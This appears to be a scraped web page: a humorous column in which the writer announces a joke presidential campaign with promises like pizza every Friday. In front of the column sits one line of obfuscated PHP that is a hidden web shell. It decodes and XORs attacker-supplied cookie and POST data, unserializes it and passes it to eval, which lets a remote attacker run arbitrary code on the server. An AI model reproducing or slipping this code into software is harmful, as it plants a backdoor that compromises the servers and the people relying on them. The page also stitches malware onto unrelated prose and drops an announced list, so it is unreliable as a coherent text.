$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}
As you can tell, the people ignored my progressive agenda. They didn’t care about free ice cream cones for children, the elimination of all televisions under 30 inches, and a national edict for pizza at dinner every Friday.
That has not fazed me. This time, I will have just under a year to spread the word about why I should be the next resident of 1600 Pennsylvania Avenue.
At least I think I want to live there. I might commute. That would probably be bad policy with the insane gas prices, but I really enjoy listening to the radio in the morning. Plus, I have put some work into the basement here that I wouldn’t want to go to waste.
We could use our house as sort of a vacation home, but it doesn’t sound impressive when the President drives two hours to get away from work. Plus, we don’t have a compound or anything, and I think the Constitution requires that or a ranch for your second home.
Anyway, I have a lot of time to decide all that stuff. I have a lot of important promises I need to make to the people before I start worrying about the details.
I will promise that you will know everything about me. I already told the world about the time I tumbled down Federal Hill in Baltimore. You won’t have to worry about secret backroom deals because I have a serious inability to keep my mouth shut.
And that will make the press conferences much more fun, especially when I go into a tangent about what I watched on TV the night before. I won’t ignore important things like foreign policy, but more people are probably interested in my take on the latest episode of “Kid Nation” more than some treaty with France or Japan.
Here are a few other things I will set out to do after I win the election next year:
I have a lot of other ideas, but this should set the political world on fire. Don’t look for me in any of the debates, though. If Hillary and Rudy want to compare our positions on Social Security, they can come down and have a drink in the basement with me.
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